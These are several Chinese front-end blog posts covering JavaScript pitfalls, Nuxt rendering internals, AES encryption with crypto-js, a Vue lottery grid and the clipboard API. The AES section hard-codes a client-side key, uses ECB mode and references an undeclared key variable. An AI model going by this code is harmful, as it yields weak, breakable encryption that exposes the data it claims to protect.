正如这些例子所表明的,强制类型转换的规则有时可以像泥巴一样清晰。因此,除非明确需要强制类型转换,否则通常最好使用 ===!==(而不是 ==!=)以避免强制类型转换的任何意外副作用。(==!= 比较两个东东时会自动执行类型转换,而 ===!== 在不进行类型转换的情况下执行同款比较。)


由于我们谈论的是强制类型转换和比较,因此值得一提的是,NaN 与任何事物(甚至 NaN 自己!)进行比较始终会返回 false。因此您不能使用相等运算符( =====!=!==)来确定值是否为 NaN。请改用内置的全局 isNaN() 函数:


console.log(NaN == NaN) // False
console.log(NaN === NaN) // False
console.log(isNaN(NaN)) // True

问题 5:低效的 DOM 操作


JS 使得操作 DOM 相对容易(即添加、修改和删除元素),但对提高操作效率没有任何作用。


一个常见的示例是一次添加一个 DOM 元素的代码。添加 DOM 元素是一项代价昂贵的操作,连续添加多个 DOM 元素的代码效率低下,并且可能无法正常工作。


当需要添加多个 DOM 元素时,一个有效的替代方案是改用文档片段(document fragments),这能提高效率和性能。


举个栗子:


const div = document.getElementById('my_div')
const fragment = document.createDocumentFragment()
const elems = document.querySelectorAll('a')

for (let e = 0; e < elems.length; e++) {
fragment.appendChild(elems[e])
}
div.appendChild(fragment.cloneNode(true))

除了这种方法固有的提高效率之外,创建附加的 DOM 元素代价昂贵,而在分离时创建和修改它们,然后附加它们会产生更好的性能。


问题 6:在 for 循环中错误使用函数定义


请瞄一眼下述代码:


var elements = document.getElementsByTagName('input')
var n = elements.length // 我们假设本例有 10 个元素
for (var i = 0; i < n; i++) {
elements[i].onclick = function () {
console.log('This is element #' + i)
}
}

根据上述代码,如果有 10 个输入元素,单击其中任何一个都会显示“This is element #10”!这是因为,在为任何元素调用 onclick 时,上述 for 循环将完成,并且 i 的值已经是 10(对于所有元素)。


以下是我们如何纠正此问题,实现所需的行为:


var elements = document.getElementsByTagName('input')
var n = elements.length // 我们假设本例有 10 个元素
var makeHandler = function (num) {
// 外部函数
return function () {
// 内部函数
console.log('This is element #' + num)
}
}
for (var i = 0; i < n; i++) {
elements[i].onclick = makeHandler(i + 1)
}

在这个修订版代码中,每次我们通过循环时,makeHandler 都会立即执行,每次都会接收当时 i + 1 的值并将其绑定到作用域的 num 变量。外部函数返回内部函数(也使用此作用域的 num 变量),元素的 onclick 会设置为该内部函数。这确保每个 onclick 接收和使用正确的 i 值(通过作用域的 num 变量)。


问题 7:误用原型式继承


令人惊讶的是,一大坨 JS 爱好者无法完全理解和充分利用原型式继承的特性。


下面是一个简单的示例:


BaseObject = function (name) {
if (typeof name !== 'undefined') {
this.name = name
} else {
this.name = 'default'
}
}

这似乎一目了然。如果您提供一个名称,请使用该名称,否则将名称设置为“default”。举个栗子:


var firstObj = new BaseObject()
var secondObj = new BaseObject('unique')

console.log(firstObj.name) // -> 结果是 'default'
console.log(secondObj.name) // -> 结果是 'unique'

但是,如果我们这样做呢:


delete secondObj.name

然后我们会得到:


console.log(secondObj.name) // -> 结果是 'undefined'

骚然但是,将其恢复为“default”不是更好吗?如果我们修改原始代码以利用原型式继承,这很容易实现,如下所示:


BaseObject = function (name) {
if (typeof name !== 'undefined') {
this.name = name
}
}

BaseObject.prototype.name = 'default'

在此版本中,BaseObject 从其 prototype 对象继承该 name 属性,其中该属性(默认)设置为 'default'。因此,如果调用构造函数时没有名称,那么名称将默认为 default。同样,如果从 BaseObject 的实例删除该 name 属性,那么会搜索原型链,并从 prototype 对象中检索值仍为 'default'name 属性。所以现在我们得到:


var thirdObj = new BaseObject('unique')
console.log(thirdObj.name) // -> 结果是 'unique'

delete thirdObj.name
console.log(thirdObj.name) // -> 结果是 'default'

问题 8:创建对实例方法的错误引用


让我们定义一个简单对象,并创建它的实例,如下所示:


var MyObjectFactory = function () {}

MyObjectFactory.prototype.whoAmI = function () {
console.log(this)
}

var obj = new MyObjectFactory()

现在,为了方便起见,让我们创建一个 whoAmI 方法的引用,大概这样我们就可以通过 whoAmI() 访问它,而不是更长的 obj.whoAmI()


var whoAmI = obj.whoAmI

为了确保我们存储了函数的引用,让我们打印出新 whoAmI 变量的值:


console.log(whoAmI)

输出:


function () {
console.log(this);
}

目前它看起来不错。


但是瞄一眼我们调用 obj.whoAmI() 与便利引用 whoAmI() 时的区别:


obj.whoAmI() // 输出 "MyObjectFactory {...}" (预期)
whoAmI() // 输出 "window" (啊这!)

哪里出了问题?我们的 whoAmI() 调用位于全局命名空间中,因此 this 设置为 window(或在严格模式下设置为 undefined),而不是 MyObjectFactoryobj 实例!换而言之,该 this 值通常取决于调用上下文。


箭头函数((params) => {} 而不是 function(params) {})提供了静态 this,与常规函数基于调用上下文的 this 不同。这为我们提供了一个技术方案:


var MyFactoryWithStaticThis = function () {
this.whoAmI = () => {
// 请注意此处的箭头符号
console.log(this)
}
}

var objWithStaticThis = new MyFactoryWithStaticThis()
var whoAmIWithStaticThis = objWithStaticThis.whoAmI

objWithStaticThis.whoAmI() // 输出 "MyFactoryWithStaticThis" (同往常一样)
whoAmIWithStaticThis() // 输出 "MyFactoryWithStaticThis" (箭头符号的福利)

您可能已经注意到,即使我们得到了匹配的输出,this 也是对工厂的引用,而不是对实例的引用。与其试图进一步解决此问题,不如考虑根本不依赖 this(甚至不依赖 new)的 JS 方法。


问题 9:提供一个字符串作为 setTimeout or setInterval 的首参


首先,让我们在这里明确一点:提供字符串作为首个参数给 setTimeout 或者 setInterval 本身并不是一个错误。这是完全合法的 JS 代码。这里的问题更多的是性能和效率。经常被忽视的是,如果将字符串作为首个参数传递给 setTimeoutsetInterval,它将被传递给函数构造函数以转换为新函数。这个过程可能缓慢且效率低下,而且通常非必要。


将字符串作为首个参数传递给这些方法的替代方法是传入函数。让我们举个栗子。


因此,这里将是 setIntervalsetTimeout 的经典用法,将字符串作为首个参数传递:


setInterval('logTime()', 1000)
setTimeout("logMessage('" + msgValue + "')", 1000)

更好的选择是传入一个函数作为初始参数,举个栗子:


setInterval(logTime, 1000) // 将 logTime 函数传给 setInterval

setTimeout(function () {
// 将匿名函数传给 setTimeout
logMessage(msgValue) // (msgValue 在此作用域中仍可访问)
}, 1000)

问题 10:禁用“严格模式”


“严格模式”(即在 JS 源文件的开头包含 'use strict';)是一种在运行时自愿对 JS 代码强制执行更严格的解析和错误处理的方法,也是一种使代码更安全的方法。


诚然,禁用严格模式并不是真正的“错误”,但它的使用越来越受到鼓励,省略它越来越被认为是不好的形式。


以下是严格模式的若干主要福利:



  • 更易于调试。本来会被忽略或静默失败的代码错误现在将生成错误或抛出异常,更快地提醒您代码库中的 JS 问题,并更快地将您定位到其源代码。

  • 防止意外全局变量。如果没有严格模式,将值赋值给给未声明的变量会自动创建同名全局变量。这是最常见的 JS 错误之一。在严格模式下,尝试这样做会引发错误。

  • 消除 this 强制类型转换。如果没有严格模式,对 nullundefined 值的 this 引用会自动强制转换到 globalThis 变量。这可能会导致一大坨令人沮丧的 bug。在严格模式下,nullundefined 值的 this 引用会抛出错误。

  • 禁止重复的属性名或参数值。严格模式在检测到对象中的重名属性(比如 var object = {foo: "bar", foo: "baz"};)或函数的重名参数(比如 function foo(val1, val2, val1){})时会抛出错误,从而捕获代码中几乎必然出错的 bug,否则您可能会浪费大量时间进行跟踪。

  • 更安全的 eval()。严格模式和非严格模式下 eval() 的行为存在某些差异。最重要的是,在严格模式下,eval() 语句中声明的变量和函数不会在其包裹的作用域中创建。(它们在非严格模式下是在其包裹的作用域中创建的,这也可能是 JS 问题的常见来源。)

  • delete 无效使用时抛出错误delete 运算符(用于删除对象属性)不能用于对象的不可配置属性。当尝试删除不可配置属性时,非严格代码将静默失败,而在这种情况下,严格模式将抛出错误。


使用更智能的方法缓解 JS 问题


与任何技术一样,您越能理解 JS 奏效和失效的原因和方式,您的代码就会越可靠,您就越能有效地利用语言的真正力量。


相反,缺乏 JS 范式和概念的正确理解是许多 JS 问题所在。彻底熟悉语言的细微差别和微妙之处是提高熟练度和生产力的最有效策略。


您现在收看的是前端翻译计划,学废了的小伙伴可以订阅此专栏合集,我们每天佛系投稿,欢迎持续关注前端生态。谢谢大家的点赞,掰掰~


26-cat.gif


作者:人猫神话
来源:juejin.cn/post/7306040473542508556
收起阅读 »

Nuxt源码浅析

web
来聊聊Nuxt源码。 聊聊启动nuxt项目 废话不多说,看官网一段Nuxt项目启动 const { Nuxt, Builder } = require('nuxt') const app = require('express')() const isProd...
继续阅读 »

来聊聊Nuxt源码。


聊聊启动nuxt项目


废话不多说,看官网一段Nuxt项目启动


const { Nuxt, Builder } = require('nuxt')

const app = require('express')()
const isProd = process.env.NODE_ENV === 'production'
const port = process.env.PORT || 3000

// 用指定的配置对象实例化 Nuxt.js
const config = require('./nuxt.config.js')
config.dev = !isProd
const nuxt = new Nuxt(config)

// 用 Nuxt.js 渲染每个路由
app.use(nuxt.render)

// 在开发模式下启用编译构建和热加载
if (config.dev) {
new Builder(nuxt).build().then(listen)
} else {
listen()
}

function listen() {
// 服务端监听
app.listen(port, '0.0.0.0')
console.log('Server listening on `localhost:' + port + '`.')
}

解读一下这段代码:


导入nuxt的Nuxt类和Builder类,然后用express创建一个node服务。


导入nuxt.config.js,使用导入的nuxt的config对象,创建nuxt实例: const nuxt = new Nuxt(config)


然后重点是 app.use(nuxt.render)。把nuxt.render作为node服务中间件使用即可。
到这里在生产上就可以运行了(生成前会先nuxt build)。


然后就是监听listen端口


所以到这里有2条线索,一个是:nuxt build的产物,自动生成路由。dist下的client和server资源文件是什么?
一个是,上面的服务,怎么会根据当前页面路径渲染出当期的html的。


你知道了,今天说的是第二条,来看看,nuxt是怎么渲染页面的,它做了什么nuxt到底是什么?


目录结构


下载好源码后来看下源码的核心目录结构


// 工程核心目录结构
├─ distributions
├─ nuxt // nuxt指令入口,同时对外暴露@nuxt/core、@nuxt/builder、@nuxt/generator、getWebpackConfig
├─ nuxt-start // nuxt start指令,同时对外暴露@nuxt/core
├─ lerna.json // lerna配置文件
├─ package.json
├─ packages // 工作目录
├─ babel-preset-app // babel初始预设
├─ builder // 根据路由构建动态当前页ssr资源,产出.nuxt资源
├─ cli // 脚手架命令入口
├─ config // 提供加载nuxt配置相关的方法
├─ core // Nuxt实例,加载nuxt配置,初始化应用模版,渲染页面,启动SSR服务
├─ generator // Generato实例,生成前端静态资源(非SSR)
├─ server // Server实例,基于Connect封装开发/生产环境http服务,管理Middleware
├─ types // ts类型
├─ utils // 工具类
├─ vue-app // 存放Nuxt应用构建模版,即.nuxt文件内容
├─ vue-renderer // 根据构建的SSR资源渲染html
└─ webpack // webpack相关配置、构建实例
├─ scripts
├─ test
└─ yarn.lock

Nuxt类在core下nuxt.js文件。来看看new Nuxt的主要代码:



export default class Nuxt extends Hookable {
constructor (options = {}) {
super(consola)

// Assign options and apply defaults
this.options = getNuxtConfig(options)

this.moduleContainer = new ModuleContainer(this)

// Deprecated hooks
this.deprecateHooks({
})

this.showReady = () => { this.callHook('webpack:done') }

// Init server
if (this.options.server !== false) {
this._initServer()
}

// Call ready
if (this.options._ready !== false) {
this.ready().catch((err) => {
consola.fatal(err)
})
}
}


ready () {
}

async _init () {
}

_initServer () {
}
}

实例化nuxt的工作内容很简单:



  1. this.options = getNuxtConfig(options) nuxt.config.js对象合并 Nuxt默认对象



// getDefaultNuxtConfig
export function getDefaultNuxtConfig (options = {}) {
if (!options.env) {
options.env = process.env
}

return {
..._app(),
..._common(),
build: build(),
messages: messages(),
modes: modes(),
render: render(),
router: router(),
server: server(options),
cli: cli(),
generate: generate()
}
}

// config
...
const nuxtConfig = getDefaultNuxtConfig()
defaultsDeep(options, nuxtConfig)
...



  1. this.moduleContainer = new ModuleContainer(this) 创建了一个moduleConiner实例


export default class ModuleContainer {
constructor (nuxt) {
this.nuxt = nuxt
this.options = nuxt.options
this.requiredModules = {}

}
}


  1. this._initServer() 来创建一个connect服务。


  _initServer () {
if (this.server) {
return
}
this.server = new Server(this)
this.renderer = this.server
this.render = this.server.app
defineAlias(this, this.server, ['renderRoute', 'renderAndGetWindow', 'listen'])
}

export default class Server {
constructor (nuxt) {
this.nuxt = nuxt
this.options = nuxt.options

this.globals = determineGlobals(nuxt.options.globalName, nuxt.options.globals)

this.publicPath = isUrl(this.options.build.publicPath)
? this.options.build._publicPath
: this.options.build.publicPath.replace(/^\.+\//, '/')

// Runtime shared resources
this.resources = {}

// Will be set after listen
this.listeners = []

// Create new connect instance
this.app = connect()

// Close hook
this.nuxt.hook('close', () => this.close())

// devMiddleware placeholder
if (this.options.dev) {
this.nuxt.hook('server:devMiddleware', (devMiddleware) => {
this.devMiddleware = devMiddleware
})
}
}
}

server很简单,使用connect创建了一个instance. 然后实例化一些参数。其中,我们发现nuxt会触发一些hooks。在每一个节点可以去做一些事情。nuxt能设置hooks是因为nuxt继承Hookable。


随后调用this.ready()方法,就是调用了私有init方法


async _init () {
await this.moduleContainer.ready()
await this.server.ready()
}

主要是调用两个实例的ready方法。


moduleContainer实例ready方法


 async ready () {
// Call before hook
await this.nuxt.callHook('modules:before', this, this.options.modules)

if (this.options.buildModules && !this.options._start) {
// Load every devModule in sequence
await sequence(this.options.buildModules, this.addModule)
}

// Load every module in sequence
await sequence(this.options.modules, this.addModule)

// Load ah-hoc modules last
await sequence(this.options._modules, this.addModule)

// Call done hook
await this.nuxt.callHook('modules:done', this)
}

总结就是加载 buildModules modules 模块并且执行。


buildModules: [
'@nuxtjs/eslint-module'
],
modules: [
'@nuxtjs/axios'
],

server实例的ready方法


async ready () {
this.serverContext = new ServerContext(this)
this.renderer = new VueRenderer(this.serverContext)
await this.renderer.ready()
await this.setupMiddleware()
}

ServerContext类很简单,就是设置server 上下文resources/options/nuxt/globals这些信息


export default class ServerContext {
constructor (server) {
this.nuxt = server.nuxt
this.globals = server.globals
this.options = server.options
this.resources = server.resources
}
}

VueRenderer ready方法做了那些事情呢?


async _ready () {
await this.loadResources(fs)
this.createRenderer()
}
get resourceMap () {
const publicPath = urlJoin(this.options.app.cdnURL, this.options.app.assetsPath)
return {
clientManifest: {
fileName: 'client.manifest.json',
transform: src => Object.assign(JSON.parse(src), { publicPath })
},
modernManifest: {
fileName: 'modern.manifest.json',
transform: src => Object.assign(JSON.parse(src), { publicPath })
},
serverManifest: {
fileName: 'server.manifest.json',
// BundleRenderer needs resolved contents
transform: async (src, { readResource }) => {
const serverManifest = JSON.parse(src)

const readResources = async (obj) => {
const _obj = {}
await Promise.all(Object.keys(obj).map(async (key) => {
_obj[key] = await readResource(obj[key])
}))
return _obj
}

const [files, maps] = await Promise.all([
readResources(serverManifest.files),
readResources(serverManifest.maps)
])

// Try to parse sourcemaps
for (const map in maps) {
if (maps[map] && maps[map].version) {
continue
}
try {
maps[map] = JSON.parse(maps[map])
} catch (e) {
maps[map] = { version: 3, sources: [], mappings: '' }
}
}

return {
...serverManifest,
files,
maps
}
}
},
ssrTemplate: {
fileName: 'index.ssr.html',
transform: src => this.parseTemplate(src)
},
spaTemplate: {
fileName: 'index.spa.html',
transform: src => this.parseTemplate(src)
}
}
}

this.renderer.ready() 加载resourceMap下的文件资源:clientManifest:client.manifest.json / modernManifest: modern.manifest.json / serverManifest: server.manifest.json / ssrTemplate: index.ssr.html / spaTemplate: index.spa.html


然后调用 createRenderer后,


	 renderer.renderer = {
ssr: new SSRRenderer(this.serverContext),
modern: new ModernRenderer(this.serverContext),
spa: new SPARenderer(this.serverContext)
}

其中,在render实例方法上有一个renderRoute方法还没有被调用。我们猜测估计是用在中间件上调用了(后面查看注册中间件也和我猜测一样)。


其调用流程renderRoute --> renderSSR(ssr.js 实例) --> renderer.renderer.render(renderContext) ssr.js 实例上的render


重点!!!!:ssr实例的render做了什么?


找到packages/vue-renderer/src/renderers/srr.js 发现


import { createBundleRenderer } from 'vue-server-renderer'
async render (renderContext) {
let APP = await this.vueRenderer.renderToString(renderContext)
return {
html,
cspScriptSrcHashes,
preloadFiles,
error: renderContext.nuxt.error,
redirected: renderContext.redirected
}
}
createRenderer () {
// Create bundle renderer for SSR
return createBundleRenderer(
this.serverContext.resources.serverManifest,
this.rendererOptions
)
}

createRenderer 返回值就是this.vueRenderer。


在实例化SSRRenderer的时候调用vue官方库: vue-server-renderer 的createBundleRenderer 方法生成了vueRenderer


然后调用renderToString 生成了html


然后对html做一些了HEAD 处理


所以renderRoute其实是调用 SSRRenderer(其中ssr)实例的render方法


最后看一下setupMiddleware


注册setupMiddleware


// nuxt.config.js 中的中间件
for (const m of this.options.serverMiddleware) {
this.useMiddleware(m)
}
// Finally use nuxtMiddleware
this.useMiddleware(nuxtMiddleware({
options: this.options,
nuxt: this.nuxt,
renderRoute: this.renderRoute.bind(this),
resources: this.resources
}))

....
renderRoute () {
return this.renderer.renderRoute.apply(this.renderer, arguments)
}


...
export default ({ options, nuxt, renderRoute, resources }) => async function nuxtMiddleware (req, res, next) {
const result = await renderRoute(url, context)
const {
html,
cspScriptSrcHashes,
error,
redirected,
preloadFiles
} = result
...
return html
}

进行nuxt中间件注册:


注册了serverMiddleware中的中间件
注册了公共页的中间件page中间件


注册了nuxtMiddleware中间件
注册了错误errorMiddleware中间件


其中nuxtMiddleware中间件就是 执行了 renderRoute


最后附上一张流程图:


img


一句话总结:new Next(config.js) 准备好了一些资源和中间件。app.use(nuxt.render)其实就是把connect当成一个中间件,当请求路过,经过nuxt注册好的中间件,去获取资源,并且renderToString返回页面需要的html。


参考:
juejin.cn/post/694166…
juejin.cn/post/691724…


作者:随风行酱
来源:juejin.cn/post/7306457908636287003
收起阅读 »

前端数据加解密 -- AES算法

web
在当今日益增长的互联网数据流中,信息安全成为了一个越来越重要的主题。数据加密不仅是保护信息免遭未授权访问的有效措施,更是隐私保护和网络安全的基石。正是在这样的背景下,高级加密标准(AES)凭借其坚如磐石的安全性和便捷的操作性,成为了全球加密技术的领航者。 在编...
继续阅读 »

在当今日益增长的互联网数据流中,信息安全成为了一个越来越重要的主题。数据加密不仅是保护信息免遭未授权访问的有效措施,更是隐私保护和网络安全的基石。正是在这样的背景下,高级加密标准(AES)凭借其坚如磐石的安全性和便捷的操作性,成为了全球加密技术的领航者。


在编写Web应用程序或任何需要保护信息安全的软件系统时,开发人员经常需要实现对用户信息或敏感数据的加密与解密。而AES加密算法常被选为这一任务的首选方案。在JavaScript领域,众多不同的库都提供了实现AES算法的接口,而crypto-js是其中最流行和最可靠的一个。接下来,就带大家深入探讨一下如何通过crypto-js来实现AES算法的加密与解密操作。


AES算法简介


首先,对AES算法有一个简要的了解是必须的。AES是一种对称加密算法,由美国国家标准与技术研究院(NIST)在2001年正式采纳。它是一种块加密标准,能够有效地加密和解密数据。对称加密意味着加密和解密使用相同的密钥,这就要求密钥的安全妥善保管。


AES加密算法允许使用多种长度的密钥—128位、192位、和256位。而在实际应用中,密钥的长度需要根据被保护数据的敏感度和所需的安全级别来选择。


密钥长度与安全性


随着计算机处理能力的增强,选择一个充分长度和复杂性的密钥变得尤为重要。在基于crypto-js库编写的加密实例encryptAES和解密实例decryptAES中,密钥encryptionKey须保持在8、16、32位字符数,对应于AES所支持的128、192、256位密钥长度。选择一个强大的、不容易被猜测的密钥,是确保加密强度的关键步骤之一。


加密模式与填充


在AES算法中,所涉及的数据通过预定的方式被组织成块进行加密和解密。因此,加密模式(Encryption Mode)和填充(Padding)在此过程中扮演着重要的角色。


加密模式定义了如何重复应用密钥进行数据块的加密。crypto-js中的电码本模式(ECB)是最简单的加密模式,每个块独立加密,使得它易于实现且无需复杂的初始化。


填充则是指在加密之前对最后一个数据块进行填充以至于它有足够的大小。在crypto-js中,PKCS#7是一个常用的填充标准,它会在加密前将任何短于块大小的数据进行填充,填充的字节内容是缺少多少位就补充多少字节的相同数值。这种方式确保了加密的数据块始终保持恰当的尺寸。


加解密相关依赖库


加解密需要依赖有crypto-js和base-64


import * as CryptoJS from 'crypto-js';
import base64 from 'base-64';
const { enc, mode, AES, pad } = CryptoJS;
var aseKey = 'youwillgotowork!';

JavaScript加密实例encryptAES


在本文中展示的encryptAES函数,使用crypto-js库通过AES算法实现了对传入消息的加密。加密流程是,首先使用AES进行加密,然后将加密结果进行Base64编码以方便存储和传输。最后,加密后的数据可安全地被传送到需要的目的地。


const encryptAES = message => {
var encryptedMessage = AES.encrypt(message, enc.Utf8.parse(encryptionKey), {
mode: mode.ECB,
padding: pad.Pkcs7,
}).toString();
encryptedMessage = base64.encode(encryptedMessage);
return encryptedMessage;
};

此函数接受一个参数message,代表需要加密的原始信息。消息首先被转换为UTF-8编码的格式,以适应AES算法的输入要求。随后,在指定ECB模式和PKCS7填充的条件下,将消息与加密密钥一同送入加密函数。在此步骤,AES算法将消息转换为一串密文,随后通过Base64编码转换为字符串形式,使得加密结果可用于网络传输或存储。


JavaScript解密实例decryptAES


与加密过程相对应,解密为的是将加密后的密文还原为可读的原始信息。在decryptAES函数中,首先要对传入的Base64编码的加密消息进行解码,以恢复出AES算法可以直接处理的密文。然后,通过与加密过程相同的密钥和相应的ECB模式以及PKCS7填充标准进行解密,最后输出UTF-8编码的原始信息。


const decryptAES = message => {
var decryptedMessage = base64.decode(message);
decryptedMessage = AES.decrypt(decryptedMessage, enc.Utf8.parse(encryptionKey), {
mode: mode.ECB,
padding: pad.Pkcs7,
}).toString(enc.Utf8);
return decryptedMessage;
};

在此函数中,message参数应是经过加密和Base64编码的字符串。解密时,加密的数据首先被Base64解码,变回AES可以直接处理的密文格式。接下来,与加密时使用同样的算法设置与密钥,通过AES.decrypt解密密文,然后将解密结果由于是二进制格式,通过调用toString(enc.Utf8)转换为UTF-8编码的可读文本。


效果展示


加解密的效果如下图所示:


image.png


作者:慕仲卿
来源:juejin.cn/post/7306459858126766130
收起阅读 »

VUE实现九宫格抽奖

web
一、前言 九宫格布局 注释了三种结果分支 懒得找图,背景色将就看一下 不足的地方,欢迎评论指正 二、代码注释详解 <template> <div class="box"> <div class="raffleBox...
继续阅读 »

一、前言



  • 九宫格布局

  • 注释了三种结果分支

  • 懒得找图,背景色将就看一下

  • 不足的地方,欢迎评论指正


二、代码注释详解


<template>
<div class="box">
<div class="raffleBox">
<div :class="{ raffleTrem: true, active: data.classFlag == 1 }">富强</div>
<div :class="{ raffleTrem: true, active: data.classFlag == 2 }">民主</div>
<div :class="{ raffleTrem: true, active: data.classFlag == 3 }">文明</div>
<div :class="{ raffleTrem: true, mt: true, active: data.classFlag == 8 }">法治</div>
<button class="raffleStart mt" @click="raffleStart" :disabled="data.disabledFlag">{{ !data.raffleFlag ? '开始' : '结束'
}}</button>
<div :class="{ raffleTrem: true, mt: true, active: data.classFlag == 4 }">和谐</div>
<div :class="{ raffleTrem: true, mt: true, active: data.classFlag == 7 }">公正</div>
<div :class="{ raffleTrem: true, mt: true, active: data.classFlag == 6 }">平等</div>
<div :class="{ raffleTrem: true, mt: true, active: data.classFlag == 5 }">自由</div>
</div>
</div>
</template>
<script setup>
import { ref, reactive } from 'vue';
const data = reactive({
classFlag: 0,
raffleFlag: false,
setIntervalFlag: null,
disabledFlag: false,
setIntervalNum: 1,
list: ['富强', '民主', '文明', '和谐', '自由', '平等', '公正', '法治']
})
//封装随机数,包含min, max值
const getRandom = (min, max) => {
return Math.floor(Math.random() * (max - min + 1)) + min;
}
// 封装定时器
const fn = (num) => {
// 转动九宫格,如果到第八个重置为0再累加,否则进行累加
data.setIntervalFlag = setInterval(() => {
if (data.classFlag >= 8) {
data.classFlag = 0
data.classFlag++
} else {
data.classFlag++
}
}, num)
}
// 开始/结束
const raffleStart = () => {
// 抽奖标识赋反
data.raffleFlag = !data.raffleFlag

if (data.raffleFlag == true) {
// 禁用中间键
data.disabledFlag = true
// 延迟解禁用
setTimeout(() => {
data.disabledFlag = false
}, 2000)
// 开始
// 转动九宫格
fn(100)
} else {
data.disabledFlag = true
// 结束
let setIntervalA
setIntervalA = setInterval(() => {
if (data.setIntervalNum >= 6) {
// 清除定时器
clearInterval(data.setIntervalFlag)
data.setIntervalFlag = null
clearInterval(setIntervalA)
setIntervalA = null
// 解开禁用
data.disabledFlag = false
// 此处可以进行中奖之后的逻辑
//例子1 随机结果
// data.classFlag = 0
// let prizeFlag = getRandom(1, 8)
// let prizeTxt = data.list[prizeFlag - 1]
// console.log(prizeTxt, '例子1');
//例子2 当前值的结果
// let prizeTxt2 = data.list[data.classFlag - 1]
// console.log(prizeTxt2, '例子2');
//例子3 某鹅常规操作
data.classFlag = 0
let confirmFlag = confirm("谢谢参与!请再接再励!");
if (confirmFlag || !confirmFlag) {
window.location.href = "https://juejin.cn/post/7306356286428594176"
}
return
}
// 累加定时器数字,用于缓慢停止定时器
data.setIntervalNum++
// 清除定时器
clearInterval(data.setIntervalFlag)
data.setIntervalFlag = null
// 将当前累加数字作为参数计算,用于缓慢停止定时器
fn(data.setIntervalNum * 100)
}, 1500)
}

// data.classFlag = getRandom(1, 8)
}
// const { } = toRefs(data)
</script>
<style scoped lang="scss">
.box .raffleBox .active {
border-color: red;
}

.mt {
margin-top: 5px;
}

.raffleBox {
width: 315px;
margin: auto;
display: flex;
flex-wrap: wrap;
justify-content: space-between;
text-align: center;
box-sizing: border-box;

.raffleTrem,
.raffleStart {
width: 100px;
height: 100px;
line-height: 100px;
background: #ccc;
box-sizing: border-box;
border: 1px solid rgba(0, 0, 0, 0);
}

.raffleStart {
background-color: aquamarine;
}
}
</style>


作者:加油乐
来源:juejin.cn/post/7306356286428594176
收起阅读 »

点击自动复制剪贴板

web
目标🎯: 一键复制"功能,用户点击一下按钮,指定的内容就自动进入剪贴板。 实现🖊️: 方法一:Document.execCommand()方法 方法二:Clipboard Document.execCommand() Document.execCommand(...
继续阅读 »

目标🎯:


一键复制"功能,用户点击一下按钮,指定的内容就自动进入剪贴板。


实现🖊️:


方法一:Document.execCommand()方法


方法二:Clipboard


Document.execCommand()


Document.execCommand()是操作剪贴板的传统方法,各种浏览器都支持。

支持复制、剪切和粘贴这三个操作。




  • document.execCommand('copy')(复制)




  • document.execCommand('cut')(剪切)




  • document.execCommand('paste')(粘贴)




(1)复制操作


复制时,先选中文本,然后调用document.execCommand('copy'),选中的文本就会进入剪贴板。


const inputElement = document.querySelector('#input'); 
inputElement.select();
document.execCommand('copy');

上面示例中,脚本先选中输入框inputElement里面的文字(inputElement.select()),然后document.execCommand('copy')将其复制到剪贴板。


注意,复制操作最好放在事件监听函数里面,由用户触发(比如用户点击按钮)。如果脚本自主执行,某些浏览器可能会报错。


(2)粘贴操作


粘贴时,调用document.execCommand('paste'),就会将剪贴板里面的内容,输出到当前的焦点元素中。


const pasteText = document.querySelector('#output');
pasteText.focus();
document.execCommand('paste');

(3)缺点


Document.execCommand()方法虽然方便,但是有一些缺点。


首先,它只能将选中的内容复制到剪贴板,无法向剪贴板任意写入内容。


其次,它是同步操作,如果复制/粘贴大量数据,页面会出现卡顿。有些浏览器还会跳出提示框,要求用户许可,这时在用户做出选择前,页面会失去响应。


为了解决这些问题,浏览器厂商提出了异步的 Clipboard API。


异步 Clipboard API


Clipboard API 是下一代的剪贴板操作方法,比传统的document.execCommand()方法更强大、更合理。


它的所有操作都是异步的,返回 Promise 对象,不会造成页面卡顿。而且,它可以将任意内容(比如图片)放入剪贴板。


navigator.clipboard属性返回 Clipboard 对象,所有操作都通过这个对象进行。


const clipboardObj = navigator.clipboard;


如果navigator.clipboard属性返回undefined,就说明当前浏览器不支持这个 API。


由于用户可能把敏感数据(比如密码)放在剪贴板,允许脚本任意读取会产生安全风险,所以这个 API 的安全限制比较多。


首先,Chrome 浏览器规定,只有 HTTPS 协议的页面才能使用这个 API。不过,开发环境(localhost)允许使用非加密协议。


其次,调用时需要明确获得用户的许可。权限的具体实现使用了 Permissions API,跟剪贴板相关的有两个权限:clipboard-write(写权限)和clipboard-read(读权限)。"写权限"自动授予脚本,而"读权限"必须用户明确同意给予。也就是说,写入剪贴板,脚本可以自动完成,但是读取剪贴板时,浏览器会弹出一个对话框,询问用户是否同意读取。


image.png


另外,需要注意的是,脚本读取的总是当前页面的剪贴板。这带来的一个问题是,如果把相关的代码粘贴到开发者工具中直接运行,可能会报错,因为这时的当前页面是开发者工具的窗口,而不是网页页面。


(async () => {
const text = await navigator.clipboard.readText();
console.log(text);
})();

如果你把上面的代码,粘贴到开发者工具里面运行,就会报错。因为代码运行的时候,开发者工具窗口是当前页,这个页面不存在 Clipboard API 依赖的 DOM 接口。一个解决方法就是,相关代码放到setTimeout()里面延迟运行,在调用函数之前快速点击浏览器的页面窗口,将其变成当前页。


setTimeout(
async () => {
const text = await navigator.clipboard.readText();
console.log(text);
},
2000);

上面代码粘贴到开发者工具运行后,快速点击一下网页的页面窗口,使其变为当前页,这样就不会报错了。


Clipboard 对象


Clipboard 对象提供了四个方法,用来读写剪贴板。它们都是异步方法,返回 Promise 对象。


Clipboard.readText()


Clipboard.readText()方法用于复制剪贴板里面的文本数据。


document.body.addEventListener(
'click',
async (e) => {
const text = await navigator.clipboard.readText();
console.log(text);
}
)

上面示例中,用户点击页面后,就会输出剪贴板里面的文本。注意,浏览器这时会跳出一个对话框,询问用户是否同意脚本读取剪贴板。


如果用户不同意,脚本就会报错。这时,可以使用try...catch结构,处理报错。


async function getClipboardContents() {
try {
const text = await navigator.clipboard.readText();
console.log('Pasted content: ', text);
} catch (err) {
console.error('Failed to read clipboard contents: ', err);
}
}

Clipboard.read()


Clipboard.read()方法用于复制剪贴板里面的数据,可以是文本数据,也可以是二进制数据(比如图片)。该方法需要用户明确给予许可。


该方法返回一个 Promise 对象。一旦该对象的状态变为 resolved,就可以获得一个数组,每个数组成员都是 ClipboardItem 对象的实例。


async function getClipboardContents() {
try {
const clipboardItems = await navigator.clipboard.read();
for (const clipboardItem of clipboardItems) {
for (const type of clipboardItem.types) {
const blob = await clipboardItem.getType(type);
console.log(URL.createObjectURL(blob));
}
}
} catch (err) {
console.error(err.name, err.message);
}
}

